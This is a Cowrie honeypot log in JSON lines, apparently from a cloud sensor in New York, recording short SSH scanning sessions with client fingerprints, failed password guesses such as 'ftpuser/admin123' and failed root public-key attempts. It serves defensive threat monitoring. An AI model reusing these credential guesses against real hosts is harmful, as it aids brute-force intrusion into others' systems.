{"eventid":"cowrie.login.failed","username":"ftpuser","password":"admin123","message":"login attempt [ftpuser/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:17.847131Z","src_ip":"190.244.39.224","session":"8cab489b1d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:19.051012Z","src_ip":"190.244.39.224","session":"8cab489b1d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":43784,"dst_ip":"10.17.0.5","dst_port":22,"session":"38e1f2d53244","protocol":"ssh","message":"New connection: 14.224.213.222:43784 (10.17.0.5:22) [session: 38e1f2d53244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:21.945680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:21.950659Z","src_ip":"14.224.213.222","session":"38e1f2d53244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:22.189250Z","src_ip":"14.224.213.222","session":"38e1f2d53244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpntest","password":"vpntest","message":"login attempt [vpntest/vpntest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:23.171463Z","src_ip":"14.224.213.222","session":"38e1f2d53244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:24.409551Z","src_ip":"14.224.213.222","session":"38e1f2d53244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51164,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b73b1501ea3","protocol":"ssh","message":"New connection: 193.32.162.145:51164 (159.203.135.109:22) [session: 9b73b1501ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:25.381957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:25.386202Z","src_ip":"193.32.162.145","session":"9b73b1501ea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:25.489044Z","src_ip":"193.32.162.145","session":"9b73b1501ea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"anza","message":"login attempt [ubuntu/anza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:25.789215Z","src_ip":"193.32.162.145","session":"9b73b1501ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:26.892936Z","src_ip":"193.32.162.145","session":"9b73b1501ea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.90.105.6","src_port":41586,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2631b658c76","protocol":"ssh","message":"New connection: 45.90.105.6:41586 (10.17.0.5:22) [session: a2631b658c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:30.864546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:30.869814Z","src_ip":"45.90.105.6","session":"a2631b658c76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:30.949932Z","src_ip":"45.90.105.6","session":"a2631b658c76","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:51:30:6f:d1:dc:fc:81:58:fb:f2:14:2b:10:a7:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdxl9aoSX4J2e5ggd8GW680+crW1c0Lt+TmL4w1HccD1Eh79aYfSwztcA077FLWN8qOTBRBceHAliDbWiybVbVKdoy0oBPIhGEPD1rDz7a15isA7+Bb8aNmMw4KWm9wPOZl2ENDKw3WLlm2YD59UxKtowRcQeBHL8XHihn0Z/H/DB2IJ4/MLTEp2KCcSgBpwOUxFMVNc1QY/d4cRS8YMjGHKKBp7dgZTcPHi5O9Eu8NToJlXrGqpINvbRaD65U8FNd5lvyW6LyhAhL3uZtjcl4XSt/UkSFtfb6suM7MRoxzD4YQB2o3mZx3Hc1jNcILG9IU3Ss6/btnYC722mYiV/X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:51:30:6f:d1:dc:fc:81:58:fb:f2:14:2b:10:a7:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:31.315242Z","src_ip":"45.90.105.6","session":"a2631b658c76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:51:30:6f:d1:dc:fc:81:58:fb:f2:14:2b:10:a7:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdxl9aoSX4J2e5ggd8GW680+crW1c0Lt+TmL4w1HccD1Eh79aYfSwztcA077FLWN8qOTBRBceHAliDbWiybVbVKdoy0oBPIhGEPD1rDz7a15isA7+Bb8aNmMw4KWm9wPOZl2ENDKw3WLlm2YD59UxKtowRcQeBHL8XHihn0Z/H/DB2IJ4/MLTEp2KCcSgBpwOUxFMVNc1QY/d4cRS8YMjGHKKBp7dgZTcPHi5O9Eu8NToJlXrGqpINvbRaD65U8FNd5lvyW6LyhAhL3uZtjcl4XSt/UkSFtfb6suM7MRoxzD4YQB2o3mZx3Hc1jNcILG9IU3Ss6/btnYC722mYiV/X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:31.319029Z","src_ip":"45.90.105.6","session":"a2631b658c76","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:a3:bb:67:50:76:e7:5c:b0:d3:51:93:70:7b:2b:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyW//C1h0fg0HrbqJP+oxEGEoN9DRlok0jF+QQqLwNNFmpNr0JzpbLF3/DU9f1uQ0JkUvsxQnqf1nelWcVSC0CUIDPJQ6a2YMSHI57AXtWebrDPURKPiKh9V7cSK7zNiIt6LKOIPRfgsinEqY0zm+pi1swKL3q2Ui2B8CKtjcs1n9WM4hvfGduoHdAO1kCsIEAv3EvGmGJcMa9Wgr2u8at98Z53t49NJV0SNBCnzQhMugV+hQoWhUsX7axbswy/IrQQeqK3PI3aqck36ugQhkNjpS0yiXiSu7s2n+I8uFzicM7JZVHFH59FwEXSQfY+Y2nhPviBn05vPKOqX47fxFxf8TxUa9uecjIyiyqipl+mNn/CRqObb0Nqo/BTnxyfnhHOwhmvduMmP6nzqnQB3vb21qbgtnhzVp8OLjPsDmzpjDj/GEwfuAYOToIuvBicSzFTOoYx3fuEl115JF6d9WuKm2Dxg5/Jqvtx/4L4jAiCyxG/XT2vtnK/VUlSdokHAlI8liOI1IOCR9mhGL6mTH9TJJvbrKJ+JyA9/1dcJDPd1IVr9p/B8csY3cVTvvBNq6hOfcXH2wAf0RkceDU7ZagmmG9XEU4qAz4+YV8/wPcYc/uqR3IttGNDdouZCmYZEsuooHHSftGRdb7Fos/dlnXXoqbfmxb+X5t0EENcXdatQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:a3:bb:67:50:76:e7:5c:b0:d3:51:93:70:7b:2b:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:31.396815Z","src_ip":"45.90.105.6","session":"a2631b658c76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:a3:bb:67:50:76:e7:5c:b0:d3:51:93:70:7b:2b:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyW//C1h0fg0HrbqJP+oxEGEoN9DRlok0jF+QQqLwNNFmpNr0JzpbLF3/DU9f1uQ0JkUvsxQnqf1nelWcVSC0CUIDPJQ6a2YMSHI57AXtWebrDPURKPiKh9V7cSK7zNiIt6LKOIPRfgsinEqY0zm+pi1swKL3q2Ui2B8CKtjcs1n9WM4hvfGduoHdAO1kCsIEAv3EvGmGJcMa9Wgr2u8at98Z53t49NJV0SNBCnzQhMugV+hQoWhUsX7axbswy/IrQQeqK3PI3aqck36ugQhkNjpS0yiXiSu7s2n+I8uFzicM7JZVHFH59FwEXSQfY+Y2nhPviBn05vPKOqX47fxFxf8TxUa9uecjIyiyqipl+mNn/CRqObb0Nqo/BTnxyfnhHOwhmvduMmP6nzqnQB3vb21qbgtnhzVp8OLjPsDmzpjDj/GEwfuAYOToIuvBicSzFTOoYx3fuEl115JF6d9WuKm2Dxg5/Jqvtx/4L4jAiCyxG/XT2vtnK/VUlSdokHAlI8liOI1IOCR9mhGL6mTH9TJJvbrKJ+JyA9/1dcJDPd1IVr9p/B8csY3cVTvvBNq6hOfcXH2wAf0RkceDU7ZagmmG9XEU4qAz4+YV8/wPcYc/uqR3IttGNDdouZCmYZEsuooHHSftGRdb7Fos/dlnXXoqbfmxb+X5t0EENcXdatQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:31.400598Z","src_ip":"45.90.105.6","session":"a2631b658c76","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:c4:f7:c8:1c:e6:f6:78:07:ce:cf:67:8f:fa:cd:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+qgDI5yh6GO8nHj9ycbgVaNezStpbH2rWeK6s1NjEWJc8nPALaoYszXG9gVtlnNT2Sxsqg8B+8BZdIM9DGcJXV8JKQj7n6SvSgZLGGiq0ONiZM628C+slMPOa4fw87/f1Aq3edkZny+LNSAkTEdiC1EbfdApqppheOnLyiVBKRq5g4r5bS3j3I9DdC3pRAbq3RYJd0a5KpdhOfLDa8lTvTWg9kHosMQI9H3J53kqtQSCPcvowm/Db+X3WJ7b3V7pDuZgHruNp9hS0KrciAN9wowzKlaDrMcUCfBlyvl+AAOsDLNEhEK/2j08Pmj5VI/J+yLGB/FZENJU/uDHLIpJlSVvvtWT8wgHXA+xZsI4YzvjuMOO3WcW6pCAv1lG2l41KhsL8/B55VZ+cg9HaCKGeyQSIUnEsu2pDaE7E/gHasiOXXOw2KTCf9aMiR9bDzDc0ksIFFtyBzPbOpF4iuKwX2NHo1DPDLoZnPPpe0x5aIicIURudMSd0vSE2e9araPvzx3EQlIH60dmm0LhyFcj7+gh+c2Y6xLwTSS4K/N/+4LkIagcspSA7Acytn+Zw1hXBkkGs2rtJ4cW2K4Fh7vOTYSSliz/Ug/zbldWHO2v0FxTThfuYDfkVdUpkbyJdTKRPIF2FP5X68niMBqpPPqRDoXfuubqGxz6bOqSBkqx0aw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:c4:f7:c8:1c:e6:f6:78:07:ce:cf:67:8f:fa:cd:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:31.480756Z","src_ip":"45.90.105.6","session":"a2631b658c76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:c4:f7:c8:1c:e6:f6:78:07:ce:cf:67:8f:fa:cd:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+qgDI5yh6GO8nHj9ycbgVaNezStpbH2rWeK6s1NjEWJc8nPALaoYszXG9gVtlnNT2Sxsqg8B+8BZdIM9DGcJXV8JKQj7n6SvSgZLGGiq0ONiZM628C+slMPOa4fw87/f1Aq3edkZny+LNSAkTEdiC1EbfdApqppheOnLyiVBKRq5g4r5bS3j3I9DdC3pRAbq3RYJd0a5KpdhOfLDa8lTvTWg9kHosMQI9H3J53kqtQSCPcvowm/Db+X3WJ7b3V7pDuZgHruNp9hS0KrciAN9wowzKlaDrMcUCfBlyvl+AAOsDLNEhEK/2j08Pmj5VI/J+yLGB/FZENJU/uDHLIpJlSVvvtWT8wgHXA+xZsI4YzvjuMOO3WcW6pCAv1lG2l41KhsL8/B55VZ+cg9HaCKGeyQSIUnEsu2pDaE7E/gHasiOXXOw2KTCf9aMiR9bDzDc0ksIFFtyBzPbOpF4iuKwX2NHo1DPDLoZnPPpe0x5aIicIURudMSd0vSE2e9araPvzx3EQlIH60dmm0LhyFcj7+gh+c2Y6xLwTSS4K/N/+4LkIagcspSA7Acytn+Zw1hXBkkGs2rtJ4cW2K4Fh7vOTYSSliz/Ug/zbldWHO2v0FxTThfuYDfkVdUpkbyJdTKRPIF2FP5X68niMBqpPPqRDoXfuubqGxz6bOqSBkqx0aw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:31.484239Z","src_ip":"45.90.105.6","session":"a2631b658c76","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:b1:22:a9:f9:c2:45:df:0a:b3:0e:27:22:11:3f:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvjpU+4NBNN6326q+fN6+GWRbqjLdgTS7pl+QGIQ1XHV+83LTZKsO8gdJQvUgiV9Qrfe7URlNN0vYNA6OXz5AIxHW3PjKoYH+rtsnqBfstCDtY2IHyAfa4RAOQVBKOaRfHQYIGTgcrGBotvxhP/XIZYLU7WXdr9ViyQCCY1fiv9ukyJNpvk1dd/s9aioKJtip1P9MPPBu3fYqQJJ5TFAMv7kBcVhE9CfBh0tHFUJq8d1lDlCv1lhxQRNrUn3XYrQnP4HjObaMcWM62R8JULeta0UuFQ8bZLkM86iDmmsrEQQeqs769HJnyeOGboUIFHvOEUryQzVWsRPcpdgXJYLjLmJeEUveVhs3h1wtXI1rdvlozbZtvhk1X6BLrrGTL01OdkEyJvX88E+UOp5JmP9AXtNuNMxubClh7VCfpCzCDryDd/lBnVH/0MBpCNu6X8R2388tLnVFwfSCviS5ghNyW3WWWKMuuxvQQhpRad0hp6aCm5EI7iracI9kSZei+uFgSG9qfyvuKJ4sfzYAvpFCH03qR/B6lL6rwfotFumTg2jbqj3FserFnINFxc0IsC2RWT9vozwN804pFE32ZmGdDQfmeFkOBZ2q8PBbI+v3AVGFPxOddUMDqNizarHDo9mafL6JuFrivMTB+hsT7ySR0ouaboJ0d+7edcH4YOPPFZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:b1:22:a9:f9:c2:45:df:0a:b3:0e:27:22:11:3f:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:31.561616Z","src_ip":"45.90.105.6","session":"a2631b658c76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:b1:22:a9:f9:c2:45:df:0a:b3:0e:27:22:11:3f:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvjpU+4NBNN6326q+fN6+GWRbqjLdgTS7pl+QGIQ1XHV+83LTZKsO8gdJQvUgiV9Qrfe7URlNN0vYNA6OXz5AIxHW3PjKoYH+rtsnqBfstCDtY2IHyAfa4RAOQVBKOaRfHQYIGTgcrGBotvxhP/XIZYLU7WXdr9ViyQCCY1fiv9ukyJNpvk1dd/s9aioKJtip1P9MPPBu3fYqQJJ5TFAMv7kBcVhE9CfBh0tHFUJq8d1lDlCv1lhxQRNrUn3XYrQnP4HjObaMcWM62R8JULeta0UuFQ8bZLkM86iDmmsrEQQeqs769HJnyeOGboUIFHvOEUryQzVWsRPcpdgXJYLjLmJeEUveVhs3h1wtXI1rdvlozbZtvhk1X6BLrrGTL01OdkEyJvX88E+UOp5JmP9AXtNuNMxubClh7VCfpCzCDryDd/lBnVH/0MBpCNu6X8R2388tLnVFwfSCviS5ghNyW3WWWKMuuxvQQhpRad0hp6aCm5EI7iracI9kSZei+uFgSG9qfyvuKJ4sfzYAvpFCH03qR/B6lL6rwfotFumTg2jbqj3FserFnINFxc0IsC2RWT9vozwN804pFE32ZmGdDQfmeFkOBZ2q8PBbI+v3AVGFPxOddUMDqNizarHDo9mafL6JuFrivMTB+hsT7ySR0ouaboJ0d+7edcH4YOPPFZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:31.565747Z","src_ip":"45.90.105.6","session":"a2631b658c76","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:f7:f8:cd:cf:64:ac:eb:92:8b:0d:e3:0f:a5:48:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCIP5EzQz3umuAWHgWvqHEdb9Iz4o1CoLxWSCHD2rf3plcJ+nceYf3Cf/3LqK6C2SW58vCN6Nnd6X+o/iKoEZNt2hUIY42gjTpz5/UeYryReCB/iagdOGQcEbmd34yF/YPUijbkAbrpUAv51iserHRETF+v85ncFHvwhBf86BG0Qhn4oXDZnSO1JM8loqj87MW2Q8zSbn93ueSNWfZ1jWfR/wVkhSVHUg/Jx4xZrwSD2LvutsGYQbGE2tkC9ZYPbEBrU0oadiotb3xgqGmRYdv15XEZyZusNfFF4lQ+hFPVGgtL64jN7jgIEb3PiLfjpD4RTNH/rDXgIMyfBdLU7dDbjurYmppfY2uuFQiufeNgWbOT5UrrFoX7ptC4f7CjSH9Tbk7oGuMjVsT3vXxyCOme5FncRM+sfwJ9z0F9VcoNkhLYRR3RWU5/m42T0TDDi8GT1Kt8LMvoX/wBySYJnLsAzqA6HwKU7NH9ZDUA8Hz2RqsXRY+VcNzzjXpgnBrPmnY4Eeqim1EgCbgNxxO745dm/0GGeclPOMnML0WJuvAv2/pFuSaGy+RCQbb2idZg1z8x82tsMRhTVkAt7BILepf9M9qCg3wxvQ5XK8ht0tUtwSGklB5d5fy4awAuOErk3mxY0vwzCAHENBCDTq08H9zy9sRrvDSa02ZcNOYbr8afw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:f7:f8:cd:cf:64:ac:eb:92:8b:0d:e3:0f:a5:48:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:31.644637Z","src_ip":"45.90.105.6","session":"a2631b658c76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:f7:f8:cd:cf:64:ac:eb:92:8b:0d:e3:0f:a5:48:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCIP5EzQz3umuAWHgWvqHEdb9Iz4o1CoLxWSCHD2rf3plcJ+nceYf3Cf/3LqK6C2SW58vCN6Nnd6X+o/iKoEZNt2hUIY42gjTpz5/UeYryReCB/iagdOGQcEbmd34yF/YPUijbkAbrpUAv51iserHRETF+v85ncFHvwhBf86BG0Qhn4oXDZnSO1JM8loqj87MW2Q8zSbn93ueSNWfZ1jWfR/wVkhSVHUg/Jx4xZrwSD2LvutsGYQbGE2tkC9ZYPbEBrU0oadiotb3xgqGmRYdv15XEZyZusNfFF4lQ+hFPVGgtL64jN7jgIEb3PiLfjpD4RTNH/rDXgIMyfBdLU7dDbjurYmppfY2uuFQiufeNgWbOT5UrrFoX7ptC4f7CjSH9Tbk7oGuMjVsT3vXxyCOme5FncRM+sfwJ9z0F9VcoNkhLYRR3RWU5/m42T0TDDi8GT1Kt8LMvoX/wBySYJnLsAzqA6HwKU7NH9ZDUA8Hz2RqsXRY+VcNzzjXpgnBrPmnY4Eeqim1EgCbgNxxO745dm/0GGeclPOMnML0WJuvAv2/pFuSaGy+RCQbb2idZg1z8x82tsMRhTVkAt7BILepf9M9qCg3wxvQ5XK8ht0tUtwSGklB5d5fy4awAuOErk3mxY0vwzCAHENBCDTq08H9zy9sRrvDSa02ZcNOYbr8afw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:31.648705Z","src_ip":"45.90.105.6","session":"a2631b658c76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:31.726363Z","src_ip":"45.90.105.6","session":"a2631b658c76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01995730400085,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:38:59.248958Z","src_ip":"180.235.129.180","session":"56de9f0c932f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63722,"dst_ip":"10.17.0.5","dst_port":22,"session":"a75096954b69","protocol":"ssh","message":"New connection: 87.251.64.176:63722 (10.17.0.5:22) [session: a75096954b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:39:23.149468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:39:23.154860Z","src_ip":"87.251.64.176","session":"a75096954b69","protocol":"ssh"}
